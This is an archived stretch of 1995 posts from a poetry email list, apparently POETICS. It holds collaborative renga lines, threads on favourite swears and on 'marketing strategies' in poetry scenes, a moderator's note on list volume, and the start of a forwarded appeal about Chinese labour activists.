>> > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
>> > curls
>> > >no ideas but the woven fabric the texture so to speak was at the dry
>> > cleaners
>> > piping hot and gloved-in somewhere unsalted, perched on prescience
>> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose encore Flaubert because we're waiting all throughout eternity for moments to be

↑ Index

443. George Bowering
Re: West Coast Line
Fri 11 Aug 1995

This is an embarrassed message to Mark Wallace, and this is the reason why I am using the open net. Mark, I have, oh this is hard to believe, lost your address AGAIN. I have turned the whole house upside down, even looking thru books and bookmarks.

The mag is out, and there's a copy and a cheque waiting to be sent to you. It is a beaut of an issue. If yr on here, please forgive me and send address again. I can be backchannelled at

[redacted]

By the way, if Mark aint on here, can somebody send me an address?

By the way, this issue of *West Coast Line* has a nifty 14-pp poem by Steve Mccaffery in it.

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444. Rachel Loden
theory (for Maria D)
Fri 11 Aug 1995

Dear Maria,

Yes, you're right, I did overstate my case on theory in the snit of the moment. There is some pleasure in it, in the right hands: things sifted, brought to light...

Rachel Loden

↑ Index

445. **Reginald Johanson**
Favourite swears and Seventies
Fri 11 Aug 1995

I heard one last night while listening to Ani Difranco: it's my faviourite now and I intend to use it often: "Fuck you very mich."

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446. **Rod Smith**
Re: Favorite swears and Seventies-Speak
Fri 11 Aug 1995

re Larkin's "They fuck you up" -- Raworth has comment on that in the _Exact Change Annual_ which reads ". . . the terrible drabness of Larkin (whom I imagine wrote "They tuck you up/your mum and dad" then rode the wave of a typo)."

not seventies, but a recent citing, Padgett seems to be getting mentioned alot, in his memoir _Ted_ he mentions "freaked his gobble" as in "Man, I freaked her gobble!"

a W.Va. bit I like is "Holy Mackeral Andy!" as an expression of pleasant surprise. Another one is "Heck-A-Fire-Wiz!" -- the "meaning" of that one is not exactly clear.

But, I have to say nothing yet touches the aforementioned "Well fuck me Jesus."

--Rod

↑ Index

447. **Thomas Bell**
Re: ringing renga
Fri 11 Aug 1995

> *maria damon writes,*
> *pangborn writes:*
> *pangborn writes:*
> *Russian caucasians like Trotsky as congenitally unable to*
> *keep from exploiting needy third-world lab technicians,*

> *setting up sweatshops despite his professedly*
> *communist political stance. Thanks for setting me straight on that.*
>
> *is this anti-semitic?--md*
>
> *Yikes--flames smart, and smart flames smart the more smartly.*
>
> *But no, not anti-semitic except to those who think of semites*
> *as a race.*
> *They're no more so than are Mexicans--which is what I was kidding*
> *about before Jorge decided, in all sincerity, that he had to*
> *spell it all out.*
>
> *Dig: that irony gets all over everything around here.*
> *Like the dude says in _The Electric Kool-Aid Acid Test_,*
> *like, if you mess with it you're gonna*
> *get some on ya, like, like it or not, dude.*
>
> *--Jim*

And back to:

In the books were dreams and in the life there was a book

↑ Index

448. **Louis Cabri**

(no subject)

Fri 11 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
    (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several

mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,
kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
warehouse, curls
no ideas but the woven fabric the texture so to speak was at the
dry cleaners
having recovered from the chemicals of deadlines drop stitched
into
the ball Kevin Mitchell bare
handed. Baseball sold
out. cash stricken striked.
Would that as a poet I had
the chance to do something like

grace the outfield, hands bare
from ringing, washing scales
of passion's conformity never
minding a green surface, far
cry from eternity, kitchen table

bleached down, a firecracker
cold as the buckles on my sandals
as the wesleyans come in the room
and hang up their robes and go
down to the fellowship hall

the garcia posological convention already underway
platform sonneteers
reminisce those hash oil crisis years
when every squib seemed damp & colon slack:
get real, ya doofuses, the Blob is back

↑ Index

449. cris cheek
swearing et al
Fri 11 Aug 1995

Gwynn, I agree with Raworth that the original read 'They tuck you up, your mum and dad' but a friend riffed off it and he went with the better version (either that or it was typo and he kept it in at the proofing stage) - anyway, what price origination?

lingalongarenga
cris

↑ Index

450. **Susan Schultz**
not a job announcement
Fri 11 Aug 1995

To all:

The creative writing program at the University of Hawai'i does not advertise for its Visiting Distinguished Writers (as they are called), but it is possible to express interest in being one by writing to Prof. Robbie Shapard, Dept of English, 1733 Donaghho Road, U of Hawai'i, Honolulu, HI 96822. The positions are for one semester, and I have no idea what they pay (the going rate, I suspect). Because the process has been so mysterious, the writers have tended to be of a kind, which hasn't been so much a bad thing, as a predictable one. I, for one, would love to see people on this list apply. If anyone wants more information, I can muster it up.

Susan Schultz

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451. **Thomas Bell**
Re: JG others and us
Sat 12 Aug 1995

Headlines in papers here in Nashville indicated that his passing was the end of an era. I'm not sure this is so and his loss might be the ashes (or grave - interesting although morbid question Do Grateful Dead prefer cremation) from which the Phoenix will rise and rekincle some of the spirit or soul of that time.
Tom Bell

↑ Index

452. **Brian W Horihan**
microcosmic slang
Sat 12 Aug 1995

This talk about seventies-speak got me remembering those strange words kids on my block used before we were brave enough, and before the disintegration of "the block" led us, to use the real swear words. The only one i can think of now that was exclusive to our street was "gary," an adjective or noun meaning something like "awkward, square, feeble," that was meant to deride, e.g., "shut up, you gary" or "you're so gary, get out of here." It had no

etymology, really, b/c no one named gary lived anywhere near us. (apologies to all garys on the list.) --brian

nowdays, however, my favorite interjection is jesus-shit.

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453. **Aldon L. Nielsen**
Re: POETICS Digest
Sat 12 Aug 1995

---

who is responsible for these guitar rumors?

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454. **Aldon L. Nielsen**
Re: "Mexicans aren't a race." But who is?
Sat 12 Aug 1995

Africans aren't a race either, but that doesn't prevent people from making racist remarks about them --

↑ Index

455. **Thomas Bell**
Re: Renga 11: Invasion from Mars
Sat 12 Aug 1995

Ryan Knighton writes

>I've never seen a renga quite lik ethis. Every line is
>competing to be the last. It's the Blob and we're in
>trouble. Unless godzilla arranges renga to save
TomBell

↑ Index

456. **Lindz Williamson**
beardsley
Sat 12 Aug 1995

I'm looking for stuff on Aubrey Beardsley, anybody know of any good sources? I wnat background stuff and a collection of his works. SOf ar I can only find The Gallatin Collection published in 1952 by Princeston.

thanks, Lindz

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457. Thomas Bell
[DAMONG THE SPOILSPORTS
Sat 12 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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Mollycoddled than aware, thin-spined and pebbling
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Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
having recovered from the chemicals of deadlines drop stitched into
the ball Kevin Mitchell bare
handed. Baseball sold
out. cash stricken striked.
Would that as a poet I had
the chance to do something like

grace the outfield, hands bare
from ringing, washing scales
of passion's conformity never
minding a green surface, far
cry from eternity, kitchen table

bleached down, a firecracker
cold as the buckles on my sandals
as the wesleyans come in the room

and hang up their robes and go
down to the fellowship hall

McCarthy Birchbark sonnets
screeched on blackboards
and smeared the vanished.
Poetry not written down
Unwritten words do not cringe

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458. Herb Levy

Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)

Sat 12 Aug 1995

Rachel Loden wrote:

> *First, could you define "marketing strategy"? How does it differ from style, say, or any other honey we use, as writers, to catch flies?*

If I recall correctly, "marketing strategy" is a rather flip phrase used in a hastily written post to POETICS, used to imply a particularly self-conscious use of a particular range of earlier styles. But you're right, it isn't much different from style. Though in the context of you later statement (about theory, rather than form, being the real marketing strategy in literature, which seems true in many ways), this kind of appropriation of "classical" styles _is_ as much more about theory than it is about form. It just that the theory involved states that forms with enough past history communicate transparently, but that these forms are solid enough to hide the rest of the theory behind them.

<large cut>

> *I was fascinated when someone on this list, looking for the almost mythical Cap-l, land of the new formalists, said that what they wanted was (paraphrased) a real snail darter, McCarthyite, sonnet-writing list (wish I could quote exactly, it was beautifully expressed).*

I've always thought of CAP-L as more of an often neglected (literal, not a BBS) bulletin board in a hallway lined by faculty office with the doors closed, except for the few, very rare, attempts at conversation. In any case, there really don't seem to be a very high percentage of active "new formalists" posting there. Of course, CAP-L is generally quite low volume (especially compared to POETICS, even discounting all of the renga lines, which must be deeply discounted indeed), so it's hard to say who really is there. CAP-L will be good for a few messages as soon as the next "famous" "mainstream" poet dies, or the next "big awards" are announced.

If CAP-L were any less inactive, I might remember to unsubscribe, but now that you remind me, where _did_ I put my copy of the listserv refcard?

<small cut>

> *In fact, the*
> *most interesting thing that did happen on Cap-l, before its*
> *apparent demise, was a dialogue between Ron Silliman and*
> *Alfred Corn on "parallel traditions" in which I learned vastly*
> *more about Silliman's work than I ever have on POETICS. Why*
> *might that be?*

If this is still directed at me, you're, obviously, asking the wrong person, but I'm willing to make some brief comments.

First, if CAP-L is like a neglected faculty bulletin board, POETICS is more like a bar frequented by people who know a lot about writing within the tradition of poetic innovation (which is probably why Ron Silliman doesn't feel he has to explain his work, or the tradition it comes out of, here).

Second, in some ways, the Silliman/Corn exchange was an example of theory as marketing strategy. Ron Silliman made a very good, best-case description of the tradition of poetic innovation in the context of a group of people who don't seem to question the more staid Norton anthologies very much, though they don't seem to have noticed the more recent, and more diverse, additions to the Norton family of blunt implements. (Talk about marketing strategies as cynicism, but that's a different discussion.) If the Silliman/Corn dialogue got one more faculty member to consider taking a left turn after Lowell or Plath, it was worth it.

But note that forays onto CAP-L by folks from POETICS (at least those since last winter) have invariably ended when someone on CAP-L says "okay, you've made your point about what some of the problems with OUR stuff are, can you give an example of an inferior work in the "parallel tradition," so that we have some kind of idea 0f how YOUR aesthetics operate." So far no one from POETICS has been willing to say "yeah, here's something that was published in Origin (or Acts, or Aerial, or Alcheringa, or Avec, to go through some of the more recent journals on the shelf behind me) & it is really, really bad."

This leads into what may be a third comment, or at least a kind of meta-comment on POETICS. In exchange for the high level of camaraderie (and the apparently related high degree of renga) available on POETICS, there's a perhaps understandable unwillingness to dig too deeply into any of the stylisitic, theoretical, or formal differences that separate POETICS' various denizens.

We don't all appreciate the same works equally, or for the same reasons, on (or off) POETICS, even though we often act as if we do. A few months ago someone

missed the sarcasm (few smileys are seen here at POETICS, I'm happy to say) when I posited the term "the kind of poetry we're all interested in" as a definition of the kind of poetry we're all interested in.

Now, negative definition is a powerful means of bonding a group. But, just because "none of us" are "really" "CAP-L," whatever any of that may mean, doesn't mean we're all the same. To go back to CAP-L example you raised (*example alert*: one could fill in just about any writer's name where I have, in this instance, used the term "Ron Silliman" and the meaning of this sentence would not change), not everyone here likes, or even knows, Ron Silliman's work. In some ways it would be helpful for there to be a more detailed discourse on any specific writer on POETICS. So go ahead & start with whoever you like.

"Mind the gap." The differences on POETICS (even unacknowledged) are a good part of what keeps us together. That, and a tremendous fear of completing a sentence in a neo/non-tradtional renga.

At least until the next issue of Apex of the M (&, uh, except for Aram Saroyan's, which had 3, and may not really have been an "M" anyway, doesn't every "M" have two apexes?) comes out. But few of the distinctions that came out in that earlier discussion were clear (though they were much belabored), and the clearest distinctions pertained to (the often execrable) editorial politics rather than poetics.

I'm not suggesting that people start badmouthing each other on (or off) POETICS, just calling attention to some of the unacknowledged limitations of having such a happy, renga-loving community "here."

Bests,

Herb Levy

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459. Charles Bernstein
The List Itself
Sat 12 Aug 1995

For the second time this week, but only for the third time in the history of the list, there were over 50 messages posted to Poetics on Friday. When this happens the list locks itself automatically, and Listserv sends me a message that I have to unlock it by sending out an unlock message. At 10am this morning I did this and something like 30 messages that had been held were released. I think 50 is a reasonable upper limit for daily messages. But as I

am not online every day, especially during the summer, there is a potential problem here.

As many of you know, if you change your user ID you also need to unsub to Poetics under the old name and resub under the new name or you will not be able to send posts. If you have a problem with this send me a message with the old address and I can delete it manually. You should be able to resub yourself with the new address without problem. If you are having any problem with your account, or our nearing the disk week from servers that have can't deliver a Poetics message and these are, to say the least, a nuisance. The worst instance of this was some mad recycling of bounced messages from one subscriber's system last week, to the tune of 3000 error messages a day for a couple of days, effectively closing my own e- mail account down. Subscribers who bounce messages are removed from the Poetics list so if this happens, once you've solved the problems that caused the messages to bounce, just resub yourself.

All of this reminds me of my commitment to keep the scale of this list on the smaller side, not only because I am committed to small-scale exchanges but also because this particular list is not set up -- _I'm not set up!_ -- to handle more volume than we've now got. I have noted before that sheer volume on a list has as much of a tendency to exclude, by effectively preventing participation by those unable to sort through the volume, as more explicit means of limiting subscription. For some using sophisticated software, or indeed having easier access to the net, sorting through this volume may be less a problem than it is for, I suspect, many Poetics subscribers. This is all changing very quickly. My hope is that with the Eisnerization of the net, we have some basic alternative sites, EPC and Poetics are two models, firmly in place. But I certainly don't have the answers and see Poetics as only one of many possible formats for listserve poetry discussion groups.

I often feel that the time I spend on list maintenance actually keeps me from posting more, but this is, for now, my principal method of participation.

Charles Bernstein

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460. **Chris Scheil**

Re: Favorite swears and Seventies-Speak

Sat 12 Aug 1995

A few choice swears from the bookstore where I work. We make it a point of honor to come up with a couple of new epitaths a week. Heres a crop in current circulation:

1. pizzle-head origin unknown, but probably a derivational coinage from pissant, a word which my boss used once, to the great hilarity of the staff)

2. monkey boy from _Buckaroo Banzai_, a secret slack-generation film classic)

3. hapless catamite coined by a gay friend to describe someone so obsessed with his sexuality that he is unable to carry on a conversation about anything else except "is X gay or straight?"

4. skanky wheezer all variants now in some disfavor, as "skank" is currently considered to be a somewhat recherche term. Also, we are currently experiencing a revival of Ska, and many afficanodos object to the perjorative detournemant of what they consider a positive word.)

skank-meister Roi du Skank

5.hungry-monkey a term coined by Salem--a former Marine--who traces this phrase to his stint in the Phillipines during the Mt. Pinatubo eruption. One of his tasks at the time was to hunt down & shoot gangs of crazed monkeys who would invade the base in search of cast-off MREs(Meals-Ready to Eat--basically, Military TV dinners), & often fight pitched battles against each other with rocks & anything else they could throw.)

6. Mr. Weasel accompanied by the lip-smacking & sucking sounds that this minor Warner Brothers cartoon figure made whenever in the presence of food. Used to describe a lecher or anyone whose demeanor at any time betrays an immodestly excessive interest in the physical attributes or amorous potential of another.)

7. Christ on a bike! (a ejaculatory term of amazement. My college friend Pat says that this is an common phrase from the Michigan UP, though I've never heard anyone but my co-workers say it.)

8. Pendejocito a variation from the classic by my roomate Hugo to describe someone whose calumny was either unintentional or insufficiently offensive to warrant the full word)

8. Driver of the gravy train (a perjorative term for either an excessive optimist or someone whose delight threatens

to overwhelm the dour mood of another.
From _The Ruling Class_, a wonderful British
movie about a delusional fellow who shifts in
personality from Jesus Christ to Jack the
Ripper.)

Also, a common death phrase: "there ain't enough left of him/her to
spread on toast." (said of someone either
long or violently dead.)

And as is customary at the bkstore, I'll end with a common phrase of departure: Screw You! Click. (then imitate the sound of a dead telephone line.)

Chris

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461. **maria damon**
Re: "Mexicans aren't a race." But who is?
Sat 12 Aug 1995

---

aldon writes:
> Africans aren't a race either, but that doesn't prevent people from
> making racist remarks about them --

yes, plus, the fact that "semites" aren't a race doesn't mean it's not possible to degrade them as a group --hence the word "anti-semitic"--md

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462. **Herb Levy**
Re: West Coast Line
Sat 12 Aug 1995

> *This is an embarrassed message to Mark Wallace, and this is the reason why I am using the open net. Mark, I have, oh this is hard to believe, lost your address AGAIN. I have turned the whole house upside down, even looking thru books and bookmarks.*
>
> *The mag is out, and there's a copy and a cheque waiting to be sent to you. It is a beaut of an issue. If yr on here, please forgive me and send address again. I can be backchannelled at*
>
> [redacted]
>
> *By the way, if Mark aint on here, can somebody send me an address?*
>
> *By the way, this issue of *West Coast Line* has a nifty 14-pp poem by Steve Mccaffery in it.*

By the way, George, is that the only thing of interest in the new West Coast Line?

Herb Levy
[redacted]

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463. **Herb Levy**
Re: Favorite swears and Seventies-Speak
Sat 12 Aug 1995

> *does anyone else from boston remember the laudatory adjective "pissa"? as in,*
> *that's a wicked pissa shirt, man. when i taught at the full circle high school*
> *i overheard a writing teacher trying to get this one kid to use adjectives*
> *other*
> *than "good" to describe the way a band played. the kid wrote, saying it aloud*
> *as he did in that questioning voice people use when trying to supply synonyms,*
> *"they played wicked pissa."*

Holy shit, I haven't thought of that in years. Thanks, Maria. Kids really still say that? Amazing.

I'd always thought to spell it "pisser," though. & I wouldn't spell the island 90 miles south of Florida "Cuber," either.

Bests

Herb Levy
[redacted]

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464. **Jorge Guitart**
Re: your mail
Sat 12 Aug 1995

On Fri, 11 Aug 1995, Sheila E. Murphy wrote:

> >On Fri, 11 Aug 1995, maria damon wrote:
> >
> >> sheila m writes:
> >> > >On Thu, 10 Aug 1995, Louis Cabri wrote:
> >> > >
> >> > >> > In the books were dreams and in the dreams were books.
> >> > >> > And flew through windows, lightning green and fine morning
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> >> > >> > The book and the oboe on the grass under sun and cloud

> >> > >> > Go endlessly, an obtuse Prussian blue, it binds
> >> > >> > The caravan of windows to what they flee
> >> > >> > These lace curtains, more gauze than bondage, more
> >> > >> > Mollycoddled than aware, thin-spined and pebbling
> >> > >> > but narrow in the waist or waspish Sunday years ago
> >> > >> > Over coffee topped with whipped cream, the Times blowing
> >> > >> > & opining, heavy humid air, cumulus amusing against the
> >> > >> > bleached ribcage ripcorded into compassed wind
> >> > >> > kissing the weatherwoman between her breasts as she
> >> > >> > gives gracious problem: fanatical snacks, landscape of
> >> > >> > flicka my best friend and the storm in the glass of water's
> >> > >> > halfway pertinent incision we keep making safe for ignorance
> >> > >> (inspection
> >> > >> > denied for not knowing how credenza was meant) & neo-colonizing
> >> > >> > pockets in small furniture intended house sequentially several
> >> > >> > mountains away but it wasn't, you know, a big tango
> >> > >> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
> >> > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
> >> > curls
> >> > >no ideas but the woven fabric the texture so to speak was at the dry
> >> > cleaners
> >> > piping hot and gloved-in somewhere unsalted, perched on prescience
> >> the chair is sad, alas, and i've lusted tootles' livers
> > the odor day toy a cello day dis chevys a bo coo daughter chose encore
> Flaubert because we're waiting all throughout eternity for moments to be
 of such suchness. In the nooks were creams and in the streams were hooks.

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465. **David Beaudoin**

Re: The List Itself

Sat 12 Aug 1995

When I looked up, Charles Bernstein had writ large across
my screen:

(snip)
>the list, there were over 50 messages posted to Poetics
on Friday. When this
>happens the list locks itself automatically, and Listserv
sends me a message

>that I have to unlock it by sending out an unlock message. At 10am this
>morning I did this and something like 30 messages that had been held were
>released.

(snip)
>All of this reminds me of my commitment to keep the scale of this list on the
>smaller side, not only because I am committed to small-scale exchanges but
>also because this particular list is not set up -- _I'm not set up!_ -- to
>handle more volume than we've now got. I have noted before that sheer volume
>on a list has as much of a tendency to exclude, by effectively preventing
>participation by those unable to sort through the volume, as more explicit
>means of limiting subscription.

Tho newish to list, I am in sympathy with yr post, especially the 'little red hen' syndrome. Frankly I expected more meat and less filler, especially the renga party line. Perhaps a Renga list is in order.

David, crankywithrenganoodlingclogginguphismailclient

~.
David Beaudouin in [redacted]
Baltimore, Maryland [redacted]
hon! vox/fax: [redacted]
~.

↑ Index

466. **Gwyn McVay**
Re: "marketing strategies"
Sat 12 Aug 1995

Chris Stroffolino--

curious--what's an AWP type? Can you spot one on sight? Can you assume anyone at the AWP conference is an AWP type?

Gwyn McVay
[redacted]

↑ Index

467. **Gwyn McVay**
Re: swearing et al
Sat 12 Aug 1995

Cris, I thought that somebody in the London or New York or one of the famous stodgy reviews of books alleged that the line originally read "They do you harm, your father and mother" until Larkin's editor convinced him to be a bit more pungent.

Gwyn

↑ Index

468. **Chris Stroffolino**
Re: "marketing strategies"
Sat 12 Aug 1995

Gwyn McVay-- Thanks for calling me on "AWP type"--I mean people who frequent AWP conferences, people who when we talk about poets tend to mention Joy Harjo alot (for instance)--of course my two good friends who went to last AWP both complained about the fact that most "poets" there tended to look like lawyers too much--it isn't that I can "spot one on sight" nor that the boundaries are absolutely rigid (for, I may try to go the next one myself---though with the wish to "make it more interesting" which usually means "subvert it" but that's true in ANY scene, isn't it?)--Well, I guess i could be more specifc....Were YOU at the last AWP conference? Could you share with us your AWP experiences? chris s.

↑ Index

469. **Gwyn McVay**
Re: "marketing strategies"
Sat 12 Aug 1995

Chris S.--

The "AWP experiences" I've had are too much of a long, strange trip to recount here, since (I admit this now, before everyone, so there are no illusions) I work for them as an editor on the _Chronicle_. I actually did feel like I knew what you meant by "AWP type," since I deal with a lot of them on the phone--poets for whom the kindest possible adjective is "mid-list." Yet Carolyn Forche' is on the Board of Directors, and she routinely assigns her classes things like the great big Sun & Moon anthology, Dragomoschenko, Hejinian, etc. as readings. Go figure. So I DO think there is such a thing as a spottable AWP type, but then

you have Forche', and my boss is all ga-ga about this article we just got from Clayton Eshleman. And we have an interview with Anne Waldman ready to go to press. So you never know.

Gwyn

↑ Index

470. **maria damon**
Re: "marketing strategies"
Sat 12 Aug 1995

---

cstroff writes:
> Gwyn McVay--
> Thanks for calling me on "AWP type"--I mean people who frequent AWP
> conferences, people who when we talk about poets tend to mention
> Joy Harjo alot (for instance)--of course my two good friends who
> went to last AWP both complained about the fact that most "poets"
> there tended to look like lawyers too much--it isn't that I can
> "spot one on sight" nor that the boundaries are absolutely rigid
> (for, I may try to go the next one myself---though with the wish
> to "make it more interesting" which usually means "subvert it"
> but that's true in ANY scene, isn't it?)--Well, I guess i could
> be more specifc....Were YOU at the last AWP conference? Could you
> share with us your AWP experiences? chris s.

one way to subvert, it seems, might be to sound yr BARBARIC AWP across the conference-room rooftops --(not?) --md

↑ Index

471. **maria damon**
Re: "marketing strategies"
Sat 12 Aug 1995

---

gwyn writes:
> Chris S.--
>
> The "AWP experiences" I've had are too much of a long, strange trip to
> recount here, since (I admit this now, before everyone, so there are no
> illusions) I work for them as an editor on the _Chronicle_. I actually
> did feel like I knew what you meant by "AWP type," since I deal with a
> lot of them on the phone--poets for whom the kindest possible adjective
> is "mid-list." Yet Carolyn Forche' is on the Board of Directors, and she
> routinely assigns her classes things like the great big Sun & Moon
> anthology, Dragomoschenko, Hejinian, etc. as readings. Go figure. So I DO

> think there is such a thing as a spottable AWP type, but then you have
> Forche', and my boss is all ga-ga about this article we just got from
> Clayton Eshleman. And we have an interview with Anne Waldman ready to go
> to press. So you never know.
>
> Gwyn

yeah, you know, i think it's too easy to make assumptions that people who have a certain style and orientation in their own writing are hostile or unconscious to/of others' rather than appreciative --and of course, as in the cap-l list and in my dept it's sometimes true --but, for example, my writing has never treated the "language" poets or oral-tradition poets (w/ possible exception of antin and kaufman), but i dig them the mostest. --md

↑ Index

472. Ryan Knighton
Re: Favorite swears and Seventies-Speak
Sat 12 Aug 1995

When my mother was six, she was quoted for sying "Poo bugger bum shit" at the top of the stairs. Aleatory at six at the top of the stairs.

When i was fiftenn and visiting Toronto, my cousins used "freak on my melon", as in " hey dad, don't freak on my melon". I moved home to Vancouver after a coupla weeks.

↑ Index

473. Charles Alexander
Re: "marketing strategies"
Sun 13 Aug 1995

On Sat, 12 Aug 1995 18:24:13 -0400,
Chris Stroffolino <[redacted]> wrote:

> *Thanks for calling me on "AWP type"--I mean people who frequent AWP conferences, people who when we talk about poets tend to mention Joy Harjo alot (for instance)*

Joy's OK. People in the southwest mention her a lot, whether they are AWP types or not. Have you heard her with band, Poetic Justice? Not really my cup of tea, but she's a friend, and I hate to see her used as an icon in this way. But then I guess we're all fair game.

charles alexander

↑ Index

474. **Chris Stroffolino**
Re: "marketing strategies"
Sun 13 Aug 1995

Thanks to Herb, Maria, Gwyn and Charles for there insights on "AWP" of course--if we want to prevent this discussion from lapsing into mere abstractions concerning "balance" and "reconciliation" (to export Coleridge's terms on "organic form") of poet factions, the issue is not just whether Forche is okay and acceptable because she teaches SUN & MOON people, but the challenges such an aesthetic these poets (i should say "these poets" because my formulation is, OF COURSE, vague at present) practice may raise and/or pose... LIKE AWP, APR has shown an openness to certain avant-gardists-- Schwerner, Howe (though i don't think Fanny), Scalapino, and Shapiro have all been on cover, and someone once told me of Duncan's double standard (It's okay if *I* read beryyman, but young poets shouldn't) and I am reminded of Ashbery's assertion of O'hara as "too straight for the hips and too hip for the straights"--and perhaps I am just speaking about a fruitiful (fructifying?) aporia that exists in the MAPPING of any sense of poetry---If there are "two kinds of people"--those who prefer to work within what may be called a single style, or ideology, and whose sense of "community" becomes rigidified (either because of "early success" or because of "habit, the great deadener" or because of genuine commitment a la Watten's "my imagination locked into place during the vietnam war") and, on the other hand, those who prefer "the freedom of the poet" despite all the ideological markers that always reinscribe a certain "stance", can we say that these "two types of poets" exist in each of us, in a way LIKE CHARACTERS (as, for instance, the debate in Perelman's FIRST WORLD between "leftwing playgrounds" and "rightwing communic- ation centers"---I don't have the book handy now, that's a paraphrase)-- and that "difference between" can't help but be "difference within?" And what good would such a distinction make? Well, I think it would encourage at least a certain re-opening to things one may have dismissed out of fear of being swamped by infinity.... For I witnessed a panel discussion with Creeley and Forche on it (I've written about it elsewhere if anyone wants a copy) last fall and found myself often siding with Forche against Creeley--- just as I find sometimes the "personal anecdote" of a James Tate more valuable by being put in dialogue with, say, Harryman or others. To find connections where they are not often said to be probably also implies its inverse (that "claims of lineage" are often done for ingenuous reasons)....okay, enough---- chris stroffolino

↑ Index

475. **Sheila E. Murphy**
Re: your mail
Sun 13 Aug 1995

>On Fri, 11 Aug 1995, Sheila E. Murphy wrote:
>
>> >On Fri, 11 Aug 1995, maria damon wrote:
>> >
>> >> sheila m writes:
>> >> > >On Thu, 10 Aug 1995, Louis Cabri wrote:
>> >> > >
>> >> > >> > In the books were dreams and in the dreams were books.
>> >> > >> > And flew through windows, lightning green and fine morning
>> >> > >> > First inverted whistle of a cardinal in the poplar
>> >> > >> > The book and the oboe on the grass under sun and cloud
>> >> > >> > Go endlessly, an obtuse Prussian blue, it binds
>> >> > >> > The caravan of windows to what they flee
>> >> > >> > These lace curtains, more gauze than bondage, more
>> >> > >> > Mollycoddled than aware, thin-spined and pebbling
>> >> > >> > but narrow in the waist or waspish Sunday years ago
>> >> > >> > Over coffee topped with whipped cream, the Times blowing
>> >> > >> > & opining, heavy humid air, cumulus amusing against the
>> >> > >> > bleached ribcage ripcorded into compassed wind
>> >> > >> > kissing the weatherwoman between her breasts as she
>> >> > >> > gives gracious problem: fanatical snacks, landscape of
>> >> > >> > flicka my best friend and the storm in the glass of water's
>> >> > >> > halfway pertinent incision we keep making safe for ignorance
>> >> > >>   (inspection
>> >> > >> > denied for not knowing how credenza was meant) & neo-colonizing
>> >> > >> > pockets in small furniture intended house sequentially several
>> >> > >> > mountains away but it wasn't, you know, a big tango
>> >> > >> > when the attorney general came, selah hales said, "Dias, oh,ho, kook
>!"
>> >> > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
>> >> > curls
>> >> > >no ideas but the woven fabric the texture so to speak was at the dry
>> >> > cleaners
>> >> > piping hot and gloved-in somewhere unsalted, perched on prescience
>> >> the chair is sad, alas, and i've lusted tootles' livers

>> > the odor day toy a cello day dis chevys a bo coo daughter chose encore
>> Flaubert because we're waiting all throughout eternity for moments to be
> of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness

↑ Index

476. **Charles Alexander**
Re: your mail
Sun 13 Aug 1995

On Sat, 12 Aug 1995 22:53:48 -0700,
Sheila E. Murphy <[redacted]> wrote:

>>On Fri, 11 Aug 1995, Sheila E. Murphy wrote:
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>> of such suchness. In the nooks were creams and in the streams were hooks.
>All melded like striated film leftover in the pastel seeds of darkness composed with fetching strands, forwarding replies to deletion's aviary.

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477. Gabrielle Welford
Appeal for international solidality (fwd)
Sun 13 Aug 1995

In the aftermath of the June 4th commemmoration, the April Fifth Action, Hong Kong, would like to make an appeal to the international community to denounce the assaults made by the Chinese Government against political activists, especially the workers, in China.

The activists in China have put up a beroic fight in the last couple of months. There have been workers protests, petitions and press conferences. These are signs that the Chinese Democracy Movement has made important progress since the June 4th crackdown six years ago.

Because of this, the Chinese Government has stepped up its repressions, for fear that the Movement might present a serious threat when social discontent and unrest have been building up for the last two to three years. Dozens of organisers have already been arrested in the past few months, among whom are Wei Jin-sang, Wong Dan, Lau Nin-chun and Chan Chi-ming, just to name a few prominent ones.

The Chinese Government has been especially brutal to workers who organise union activities. Three workers in Shencheng, just across the border of Hong Kong, were arrested last year for organising unions and distributing handbills. Unconfirmed reports said that they were sentenced to long prison terms.

Here are some information about the 3 organizers arrested in ShenZeng:

1. Li Wen-ming and Kuo Le-zhuang, Male, Han race, both from Hunan Province (in the middle of China, along the Yangtze River), about 27 years old.

2. Li was trained at a Hunan technical college (not sure which department). In his school years, he had already participated in the local student movement. After his graduation, he was assigned to a factory to work. In 1991, he resigned and went to ShenZeng and got a job as the public relation officer of the magazine "Youth of ShenZeng". At the end of 92, he went to Beijing University to study and associated with democracy activists there.

